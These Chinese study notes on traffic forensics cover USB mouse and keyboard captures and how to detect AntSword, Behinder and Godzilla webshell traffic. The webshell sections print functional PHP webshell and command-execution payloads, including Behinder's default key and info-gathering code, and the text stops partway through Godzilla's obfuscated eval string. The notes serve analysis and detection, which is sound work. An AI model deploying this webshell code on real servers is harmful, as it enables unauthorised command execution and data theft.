流量分析学习


有关流量分析的学习笔记

TCP/IP是因特网上的标准协议集,它不是针对某一个协议。

学过计网的都知道TCP/IP会分为如下几层:

1
2
3
4
应用层
传输层
网络层
网络接口层

其中网络接口层一般又分为数据链路层和应用层

怎么和我计网学的不一样呢,考完就忘了

计网里说过,这几层都是自上而下层层封装的。每一层数据都会被包装为PDU

scapy

scapy就是以PDU的概念制作和分析报文的,仅需简单做个示例:

1
2
3
4
from scapy.layers.l2 import *
from scapy.layers.inet import *

packet = Ether() / IP() / TCP() / "GET / HTTP/1.1\r\n"

回显为

1
<Ether  type=IPv4 |<IP  frag=0 proto=tcp |<TCP  |<Raw  load='GET / HTTP/1.1\r\n' |>>>>

usb流量

计算机与usb设备进行通信,同样也会产生流量。

鼠标流量

利用wireshark捕捉鼠标流量只需要用wireshark自带的工具usbpcap进行。

鼠标移动的轨迹、左键、邮件的行为都能够捕捉得到

鼠标设备的数据最少需要3字节,常规的有较短的4字节和正常的8字节。其中4字节:

  • 第一字节是按键掩码(左中右)
  • 第二字节是x轴偏移量(补码)
  • 第三字节是y轴偏移量(补码)
  • 第四字节是滚轮偏移量

8字节的:

  • 第一字节是按键掩码
  • 第三第四字节是x轴偏移量
  • 第五第六字节是y轴偏移量
  • 第七字节是垂直滚轮偏移量
  • 第八字节是水平滚轮偏移量

键盘流量

确定为键盘流量之后也是可以利用tshark直接导出键盘数据,然后利用脚本分析。

键盘流量只记录按下的按键,释放按键不做记录。

理论上键盘仅需三字节即可记录下来:

  • 第一字节是修饰键
  • 第二字节是保留字节
  • 第三字节是映射键

但是正常情况下长度为8字节,其后六个字节都用做映射键的记录。

分析脚本

webshell流量

蚁剑

蚁剑的流量分析基本上很常见了。我自己就写过一个博客来看过,这里简要重新复述一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.1269377";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\|\//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
};
};;
function asenc($out){
return $out;
};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "357"."24f";
echo @asenc($output);
echo "45"."4cc";
}
ob_start();
try{
$p=base64_decode(substr($_POST["qf039f1d9cd528"],2));
$s=base64_decode(substr($_POST["g51c7aeb92ccb2"],2));
$envstr=@base64_decode(substr($_POST["h78f2db56e81bf"],2));
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
if(substr($d,0,1)=="/"){
@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
}
else{
@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
if(!empty($envstr)){
$envarr=explode("|||asline|||", $envstr);
foreach($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
$r="{$p} {$c}";
function fe($f){
$d=explode(",",@ini_get("disable_functions"));
if(empty($d)){
$d=array();
}
else{
$d=array_map('trim',array_map('strtolower',$d));
}
return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
};
function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("a@127.0.0.1", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print($output);
return True;
}
}
return False;
};
function runcmd($c)
{
$ret=0;
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
if(fe('system')){
@system($c,$ret);
}elseif(fe('passthru')){
@passthru($c,$ret);
}elseif(fe('shell_exec')){
print(@shell_exec($c));
}elseif(fe('exec')){
@exec($c,$o,$ret);
print(join("",$o));
}
elseif(fe('popen')){
$fp=@popen($c,'r');
while(!@feof($fp)){
print(@fgets($fp,2048));
}
@pclose($fp);
}elseif(fe('proc_open')){
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while(!@feof($io[1])){
print(@fgets($io[1],2048));
}
while(!@feof($io[2])){
print(@fgets($io[2],2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
}elseif(fe('antsystem')){
@antsystem($c);
}elseif(runshellshock($d, $c)) {
return $ret;
}elseif(substr($d,0,1)!="/" && @class_exists("COM")){
$w=new COM('WScript.shell');
$e=$w->exec($c);$so=$e->StdOut();
$ret.=$so->ReadAll();
$se=$e->StdErr();
$ret.=$se->ReadAll();
print($ret);
}else{
$ret = 127;
}
return $ret;
};
$ret=@runcmd($r." 2>&1");
print ($ret!=0)?"ret={$ret}":"";;
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
asoutput();
die();

蚁剑最明显的特征:

1
2
@ini_set("display_errors", "0");
@set_time_limit(0);

并且代码和指令是一块发送的:

1
2
3
$p=base64_decode(substr($_POST["qf039f1d9cd528"],2));
$s=base64_decode(substr($_POST["g51c7aeb92ccb2"],2));
$envstr=@base64_decode(substr($_POST["h78f2db56e81bf"],2));

使用wireshark可以看到传参的值,这里由于是substr(x,2)的关系,所以我们要从第三个字符开始进行base64解密。解密结果如下:

1
2
3
4
5
6
bin/sh
cd "/var/www/html";cd /var/www/html/;echo d6fdb533a5e5;pwd;echo 230ef1f
第一个cd:文件路径
第二个cd:输入的指令,前文中已有叙述
echo:应该是返回的随机数
pwd:在linux命令中是查看当前路径

蚁剑的base64

采用base64方式加密shell会发现:

1
Value: @eval(@base64_decode($_POST['c540d73cacbdc8']));

用它来解密就能够得到和先前一样的结果

chr、rot13

大同小异

rsa

毫无规律

冰蝎

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>

马长这样。自己的冰蝎打不开了,所以大致讲一下流程:

冰蝎在连接到服务端的时候会发两个包。第一个包用于确认连接,第二个包用于获取信息。

冰蝎的输入都经过了aes128加密,一般情况下可以通过木马来获取到用于aes128解密的key。

解密网址

解密后会有一段数据:

1
assert|eval(base64_decode('data'))

将data进行b64解密后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@error_reporting(0); // 关闭错误报告,不显示任何错误信息
function main($content) {
$result = array(); // 创建一个数组用于存储结果
$result["status"] = base64_encode("success"); // 将状态编码为Base64
$result["msg"] = base64_encode($content); // 将消息内容编码为Base64
@session_start(); // 初始化session,避免connect之后直接background,后续getresult无法获取cookie
echo encrypt(json_encode($result)); // 将结果数组编码为JSON,然后加密并输出
}

function Encrypt($data) {
@session_start(); // 初始化session
$key =$_SESSION['k']; // 获取存储在session中的密钥 e45e329feb5d925b
if(!extension_loaded('openssl')) { // 检查openssl扩展是否加载
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15]; // 使用密钥和异或运算进行加密
}
return $data; // 返回加密后的数据
} else {
return openssl_encrypt($data, "AES128",$key); // 如果openssl扩展已加载,使用AES128加密数据
}
}
$content = "dWNJVUtLenFXazh0ZllOd3pReG90cVNCN2RHR3FCcE12YTBQeFd5UHRnTzhWN1Z4MGliZ1JrbWhqYnpPNUl0NUtXdVFLcXV2NlVuR1RubmpwWFcxWERCb3I1U3lyd3RORmpFZEFnZTZOeEFQOXZYY2o0cHdxMUlXc3B0NUpPYUY2UmRrQjlNbVdlWVhja25WaEdmdGx1dUx1VUg0V08zRU4xNFJpUFFmN3RGNDZ6TTIxdTZYeEk1bXZzZEhaelVOYjlMdGpFSG1lU1F5YW5BUUhHRVJyWlRGOFU5ZkhiT0NyNVo5YmNoUnZ1ZUhpT1BIbDdKTFZ2Y0FBMWVaTWJsZmZYejJkTUJDQ3poOUlMNzNvMGphclF2TW5OY3JseVRBb2l4VThFTVl4eUhtajJXTG1rS2VpWGxuclhscXNpcDBzaE84WUY2REtLdE1KeGc3Q3lWaWFDQ3BzZ2Vmc3Q3SDhGQXR0c0ZmOWYyUFFXZHJxZ3N0RFRLd3h0c3NZdUluQ3pQNVNFMzVmbzYzQnNpUFRSVVllbThOVGZPNFhpQVhIVzlybTZQcDBvUU85TjRVZGU2YW52R01tYW1rcEZoRFgzS0NxZTJWOVVxMHV2Q0tZT296Rm5jdGIzS0VMZWtwd3FhZ3JKNDBZcDRRS3FGeEFjOUhsU2ZOYXlScHlWY3RhMHVhVjUxTUV5aTVhcW9zVmJVek9hT005cGlRcFJ0cUpPSmpLaWZsWnNPcGlxbHhYQjFsQXhicEFNZ0c3STU1VnZLQnpNbnJSVEtMY0I5eEdGVXhoTFdZakpCVXBIbGZHRTU3TmtLSFd1Z2xMTHdRVXlNNUVyWWZTSFBxSVJoZXc1dTBOZVNQNkd1czViTWpCWlNvaWRHY05Jekd0YThXSkZvVlhzeVA1TGFEUG5PZlRYazdTVmNwY1hPZHh1cVR4OUxYR1dpWTlLZDVScUNwd3N1UGpwSzFUak1nN1FCODNHbnFkWVlFdWxmYkNnZlBqZkppaG43d2V2dGFXdUFFOWJrT0ZUVG0wc2RuVW83VE92NlpRMGQxUEtLVEJRMEc2c3ZNTUFiY1A5ZzV1RjBtVzNTNW5FRTZXbXNveEtiU29pV2pJaEJHTjR1UVhCa21WU3J1dFB4RkZReDJXbXowMDRaUUF4RlNsNkZWbUE1cmtyNXRuM2tWT3pBTGxvdEtTblNCcDFUb09GS0ZtdDJDMXFGdGRpSHl5Q2tHZ1NOV2JtRUxrWFdWaXFtell1d3ZENnl1TXdJWVhzclNncmRSd1dvZHlVdDgyYTU3SGxNaVA0cWY0NlBMNGR1MnI1bVdGSXhIcHRRM2d1VzZDb3o1TFRseE5ZNmtYV05nU290R01JSkNaeUpKRXhxM3dsclNYV3ZTVXlLdmJVU25XbDQzWDFRSnRYenY2dEZROVlxS0ZSaXhCVWh3dXVMVWt2VEhZOGlMcTZTODdqeEZxODEwZk5tM29xZDBTem03V0M5VU5adGtUSmplUlN0VlQ3WXdMWkNEa3JCM3pWdlpFWld0V2ZYVVFQT1hkQmtDZDNqUXRTaHZ1UFRIRjVyYUYyTWJNRmxHV0s5bDN2Z09vSVVzU1JhWHhpdmFLTWFMYXVCOU8wVFNYNlpKbk5jZkZzczBoQ3hoT00wRFVubnIxZk5SczVjQ3NoWlJodnpsT3cwRmVXQ0UzbFRSUkRYV2M4bzNkampxWnhCZHM4RmM2bTJvbTJGd0trWjh4cW0waVdNbm1sTW9MSFRJWTNjV1Z3TGFSemhqRTNqY0hUcjRjaGpLRjFETUZ6WVlFNHQ3RWs3dk8yQm1mSEJ6MHozU3ZsaG9QU1ZlT0ZDUWVEekxva2FEWFZLcXhERkxjUGdnTlhnMzR4NUV0NWhldTl5T2d3WFlaYmFjZDBYSkFnaXpCZ29xb1VnRXZscUhwa0RJMTFSdlNyM2xCWFh6SkYyZ2x3VUhKODhtOW9tV24xS291NW1mZ0NGMWVRYzVGSmZ6MDhtVTJoUGVtVzk0bkJOOHUyb3g1aDJpZjZFWU5lcERHZ2lOamFxNHR0NTdjRWEwYk8yRGpoY2pkbDV1SGJuZkdGUkZqbmlLc0xyVnc5ejNncFE3eWRXejhVQ1hGdHI3MUI3Vm1PNUFra3p4ZTJzcXJVbXRxZmlKd0I4WVRhaDQybDBpVG1aaHIzbEh4N0ZGTGx6dGJDZm9HWmZOQkJqemtnNmFRWjJmTVFZbmRJSWg5ZWdNbHg4RWpWSjRGODlMaW1aNWNTT1EzdTlLUW5oTFFWcHhJU0p1YUZOQ2ZqNVBEMUJKMWx6WFBBc3RVOTlnZXl5UTY0eGQ0UkY5WGVXM2lPVFpCd3k5Q0RsVjdrRVppMFlwTVdRaEpEWnoxM1RaUWZEdXdLcUNWOGJGekZ4QURkZGdnSnNucjdNWVZ4QnUzaUQ1cjNqdDRWWU0wTlhMV0U5NTk0bjg5bVQ5NzBrTkpkUVlTVVBOYXZWZlpobzFpMmhkYllQRW1HOFA3aHV4NWdhUkl4eTdXQzhKOTJpTUdvWTRqVzgyWjkzeENYMnY3ZFZ1VGJTQ3RPRFd3Z1lDcGdDMFZnd3BrRjdsbXplVEZjOGxDWk5PVWNPZ3hxM0ZVYkxPazFkbGlkT0RFcXpNcGNvSkxObU82Z25UQWhWaTRkaUk1b25qV05WZncyR2d1TEQxTVNkcWdWMzFWT25XZ2JwUU8yYlNaNlVNNWdCVWN6bmNYOXRmcXF4NWZNR2NUQVBmVG1QV0p2bE4xYjVWbjUxWWVyUDZVSFd4R0Y2OHVhUXRpUU9pWGhwbnJxY25zOUVyUHYzcFR3ZVRiZUhEaXdjeUxQSU5qbEZLV3lOY0FBd0w4SUl2djZzdU04S2NCVjhIS3lPem85SjZRSnl3dUdsUjFON25rbFcwTmdvVHdGcmNYNFpCRGU1dDNvTXIzUG80cTZBY0ZMOGU2clBnaDRoZnJHNVFUMDJUcmdLdUk3Znh1U2IydzB2a3hyT09qdjhYcEM5dnh6V3RzdU1ZV0owRUtjckFTVzZvWXp1cENWSDJQUlJEdENXVFlQVnk2RlFIcU16ZktuZHVKRTU3TjRJMDZHRzZFVkVSZmd0Q0JZQVVUQk5QOWtzWU9mZFpUTk1NNkdvWW1OYUt5Qkt6bkV3RVRuaEwzZmlxaUZ6a2xFZDJlc0M0a3ZGcW9kMzhERkU5WHVRNGllTHluWjBXVXlITUFBVjNmalBhUDlSRTVXUzNka3hPbHBCNVlVVUtUM2JLZExIQWNEQkc0aVhqZWp4SHdOVzJiR1BBTHl3eWRrczdCcXY0SFVLeWxGWGRlcmdoMjhtdldlcUpMb0FQRFMwSGljQkZ0dU9s"; // 这里是一段很长的Base64编码的字符串
$content = base64_decode($content); // 对字符串进行Base64解码
main($content); // 调用main函数处理解码后的内容

可以看到又有一个base64编码的字符串。content经过decode后发送到了main函数,main函数又重新编码加密后发送。

用于获取信息的第二包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
error_reporting(0);
// 设置错误报告级别为0,即不显示错误信息

function main($whatever) {
// 定义名为main的函数,接受一个参数$whatever
$result = array();
// 初始化一个空数组$result

ob_start(); phpinfo(); $info = ob_get_contents(); ob_end_clean();
// 使用ob_start()函数开启输出缓冲,然后执行phpinfo()函数输出PHP的配置信息,
// ob_get_contents()函数将缓冲区的内容返回并赋值给变量$info,
// 最后ob_end_clean()函数清空缓冲区并关闭输出缓冲

$driveList ="";
// 初始化一个空字符串$driveList

if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt")) {
// 如果当前操作系统是Windows
for($i=65;$i<=90;$i++) {
// 遍历A-Z的ASCII码
$drive=chr($i).':/';
// 根据ASCII码转换成对应的盘符
file_exists($drive) ? $driveList=$driveList.$drive.";":'';
// 判断盘符是否存在,若存在则加入到$driveList中
}
} else {
// 如果当前操作系统不是Windows
$driveList="/";
// 设置$driveList为"/"
}

$currentPath=getcwd();
// 获取当前工作目录

$osInfo=PHP_OS;
// 获取操作系统信息

$arch="64";
if (PHP_INT_SIZE == 4) {
$arch = "32";
}
// 判断PHP的位数,32位或64位

$localIp=gethostbyname(gethostname());
// 获取本地主机名对应的IP地址

if ($localIp!=$_SERVER['SERVER_ADDR']) {
// 如果本地IP不等于服务器IP
$localIp=$localIp." ".$_SERVER['SERVER_ADDR'];
// 将服务器IP加入到本地IP后面
}

$extraIps=getInnerIP();
// 获取额外的内网IP地址
foreach($extraIps as $ip) {
// 遍历额外的内网IP地址
if (strpos($localIp,$ip)===false) {
// 如果本地IP中不包含该IP
$localIp=$localIp." ".$ip;
// 将该IP添加到本地IP中
}
}

$basicInfoObj=array(
"basicInfo"=>base64_encode($info),
"driveList"=>base64_encode($driveList),
"currentPath"=>base64_encode($currentPath),
"osInfo"=>base64_encode($osInfo),
"arch"=>base64_encode($arch),
"localIp"=>base64_encode($localIp)
);
// 构建包含基本信息的关联数组,并对每个信息进行base64编码

$result["status"] = base64_encode("success");
// 将状态设置为成功,并对其进行base64编码
$result["msg"] = base64_encode(json_encode($basicInfoObj));
// 将基本信息对象转换为JSON格式,然后进行base64编码

echo encrypt(json_encode($result));
// 将结果数组转换为JSON格式,然后加密后输出
}

function getInnerIP() {
// 定义名为getInnerIP的函数
$result = array();

if (is_callable("exec")) {
// 如果exec函数可调用
exec('arp -a',$sa);
// 执行arp -a命令,并将结果存储到数组$sa中
foreach($sa as $s) {
// 遍历数组$sa
if (strpos($s,'---')!==false) {
// 如果字符串中包含'---'
$parts=explode(' ',$s);
// 使用空格分割字符串$s,得到数组$parts
$ip=$parts[1];
// 获取IP地址
array_push($result,$ip);
// 将IP地址添加到结果数组$result中
}
}
}

return $result;
// 返回结果数组$result
}

function Encrypt($data) {
// 定义名为Encrypt的函数,接受一个参数$data
@session_start();
// 启动会话,@符号用于抑制可能的警告
$key = $_SESSION['k'];
// 获取会话变量$_SESSION['k']作为密钥
if(!extension_loaded('openssl')) {
// 如果没有加载openssl扩展
for($i=0;$i<strlen($data);$i++) {
// 遍历字符串$data
$data[$i] = $data[$i]^$key[$i+1&15];
// 使用异或操作加密数据
}
return $data;
// 返回加密后的数据
} else {
// 如果加载了openssl扩展
return openssl_encrypt($data, "AES128", $key);
// 使用AES算法对数据进行加密
}
}

$whatever="...";
// 定义一个变量$whatever,存储了一段base64编码的字符串

$whatever=base64_decode($whatever);
// 对$whatever进行base64解码

main($whatever);
// 调用main函数,传入解码后的$whatever作为参数

它回返回一个服务器信息的数组:

1
2
3
4
5
6
7
8
9
10
[ 
{
"basicInfo": "phpinfo信息",
"driveList": "/",
"currentPath": "/www/wwwroot/upload/upload",
"osInfo": "Linux",
"arch": "64",
"localIp": "127.0.1.1 192.168.56.3"
}
]

rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
@error_reporting(0); // 禁用错误报告,可能是为了隐藏潜在的错误信息。

function getSafeStr($str){
$s1 = iconv('utf-8','gbk//IGNORE',$str); // 将 UTF-8 编码的字符串转换为 GBK 编码
$s0 = iconv('gbk','utf-8//IGNORE',$s1); // 再将 GBK 编码的字符串转换回 UTF-8 编码
if($s0 == $str){ // 如果转换后的字符串和原始字符串相同
return $s0; // 返回转换后的字符串
}else{
return iconv('gbk','utf-8//IGNORE',$str); // 否则返回原始字符串转换为 UTF-8 编码的结果
}
}

function main($cmd,$path) // 主函数
{
@set_time_limit(0); // 设置脚本执行时间限制为无限
@ignore_user_abort(1); // 忽略客户端断开连接
@ini_set('max_execution_time', 0); // 设置脚本最大执行时间为无限
$result = array(); // 初始化结果数组
$PadtJn = @ini_get('disable_functions'); // 获取被禁用的函数列表
if (! empty($PadtJn)) { // 如果禁用函数列表不为空
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn); // 用逗号替换列表中的空格
$PadtJn = explode(',', $PadtJn); // 将字符串分割成数组
$PadtJn = array_map('trim', $PadtJn); // 移除数组元素两端的空白字符
} else {
$PadtJn = array(); // 否则初始化为空数组
}

$c = $cmd; // 初始化执行的命令为传入的命令
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) { // 如果操作系统是 Windows
$c = $c . " 2>&1\n"; // 将命令追加错误重定向,以便捕获错误信息
}

$JueQDBH = 'is_callable'; // 设置函数名为字符串变量
$Bvce = 'in_array'; // 设置函数名为字符串变量
if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) { // 如果 system 函数可调用且未被禁用
ob_start(); // 开始输出缓冲
system($c); // 执行系统命令
$kWJW = ob_get_contents(); // 获取输出缓冲内容
ob_end_clean(); // 清空并关闭输出缓冲
} else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) { // 如果 proc_open 函数可调用且未被禁用
$handle = proc_open($c, array( // 打开进程并执行命令
array('pipe', 'r'), // 标准输入
array('pipe', 'w'), // 标准输出
array('pipe', 'w') // 标准错误
), $pipes);
$kWJW = NULL; // 初始化输出变量为空
while (! feof($pipes[1])) { // 当输出管道的标准输出未结束
$kWJW .= fread($pipes[1], 1024); // 读取标准输出内容
}
@proc_close($handle); // 关闭进程
} else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) { // 如果 passthru 函数可调用且未被禁用
ob_start(); // 开始输出缓冲
passthru($c); // 执行系统命令并直接输出结果
$kWJW = ob_get_contents(); // 获取输出缓冲内容
ob_end_clean(); // 清空并关闭输出缓冲
} else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) { // 如果 shell_exec 函数可调用且未被禁用
$kWJW = shell_exec($c); // 执行系统命令并获取输出
} else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) { // 如果 exec 函数可调用且未被禁用
$kWJW = array(); // 初始化输出变量为数组
exec($c, $kWJW); // 执行系统命令并将结果存入数组
$kWJW = join(chr(10), $kWJW) . chr(10); // 将数组元素用换行符连接成字符串
} else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) { // 如果 exec 函数可调用且 popen 函数未被禁用
$fp = popen($c, 'r'); // 打开进程,并返回文件指针
$kWJW = NULL; // 初始化输出变量为空
if (is_resource($fp)) { // 如果文件指针是一个有效的资源
while (! feof($fp)) { // 当文件指针未到达文件末尾
$kWJW .= fread($fp, 1024); // 读取文件内容
}
}
@pclose($fp); // 关闭进程
} else {
$kWJW = 0; // 如果所有执行命令的函数都不可用,则将输出变量设置为 0
$result["status"] = base64_encode("fail"); // 设置结果状态为失败,并将其 base64 编码
$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available"); // 设置结果消息为指定的字符串,并将其 base64 编码
$key = $_SESSION['k']; // 获取会话密钥
echo encrypt(json_encode($result)); // 对结果进行加密、JSON 编码并输出
return; // 结束函数执行
}

$result["status"] = base64_encode("success"); // 设置结果状态为成功,并将其 base64 编码
$result["msg"] = base64_encode(getSafeStr($kWJW)); // 将输出内容进行安全处理并 base64 编码
echo encrypt(json_encode($result)); // 对结果进行加密、JSON 编码并输出
}

function Encrypt($data) // 加密函数
{
@session_start(); // 开始会话
$key = $_SESSION['k']; // 获取会话密钥
if(!extension_loaded('openssl')) // 如果未加载 OpenSSL 扩展
{
for($i=0;$i<strlen($data);$i++) { // 循环处理每个字符
$data[$i] = $data[$i]^$key[$i+1&15]; // 对每个字符进行异或运算
}
return $data; // 返回处理后的数据
}
else
{
return openssl_encrypt($data, "AES128", $key); // 使用 OpenSSL 加密数据
}
}

$cmd="Y2QgL3d3dy93d3dyb290L3BrLyA7bHM="; // 设置要执行的命令,这里是 base64 编码的字符串,解码后为 "cd /www/wwwroot/pk/ ;ls"
$cmd=base64_decode($cmd); // 对命令进行 base64 解码
$path="L3d3dy93d3dyb290L3BrLw=="; // 设置命令的执行路径,这里是 base64 编码的字符串,解码后为 "/www/wwwroot/pk/"
$path=base64_decode($path); // 对路径进行 base64 解码
main($cmd,$path); // 调用主函数并传入命令和路径参数

rce的包长这样。

它会返回一段json,大致长这样:

1
{"status":"xxx", "msg":"yyy"}

msg的内容解密后就是命令执行获取到的结果

细看操作可以得到以下结论:

  • 将payload传入main函数当中
  • 然后判断systempassthru
  • 函数是否可以使用,并尝试执行。如果不可行回返回fail编码后的结果
  • 如果可行会将结果传入$kWJW变量然后进行安全化处理、编码输出。
  • 然后aes编码退出。

目录读取

还是json套娃。

1
{"status":"xxx","msg":"yyy"}

对yyy解密后会变为:

1
2
3
4
5
[
{"name":"xxx","size":"yyy","lastModified":"zzz"},
{"name":"xxx","size":"yyy","lastModified":"zzz"}
...
]

脚本解码后就能够得到想要的结果

读文件

两次b64解密

下载文件

json结构倒过来

ua特征

所有的ua:

user-Angent
Mozilla/ 5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/ 89.0.4389.114 Safari/ 537.36
Mozilla/ 5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/ 20100101 Firefox/ 87.0
Mozilla/ 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/ 96.0.4664.110 Safari/ 537.36
Mozilla/ 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/ 99.0.4844.74 Safari/ 537.36 Edg/ 99.0.1150.55
Mozilla/ 5.0 (Windows NT 10.0; WOW64) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/ 96.0.4664.110 Safari/ 537.36
Mozilla/ 5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/ 20100101 Firefox/ 98.0
Mozilla/ 5.0 (Windows NT 10.0) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/ 84.0.4147.125 Safari/ 537.36
Mozilla/ 5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/ 84.0.4147.125 Safari/ 537.36
Mozilla/ 5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/ 20100101 Firefox/ 79.0
Mozilla/ 5.0 (Windows NT 6.3; Trident/ 7.0; rv:11.0) like Gecko

都是相对较老的ua头

哥斯拉

测试连接的时候会发三个包

查看后会发现它利用参数发送了下面这条内容:

1
eval(base64_decode(strrev(urldecode('K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZ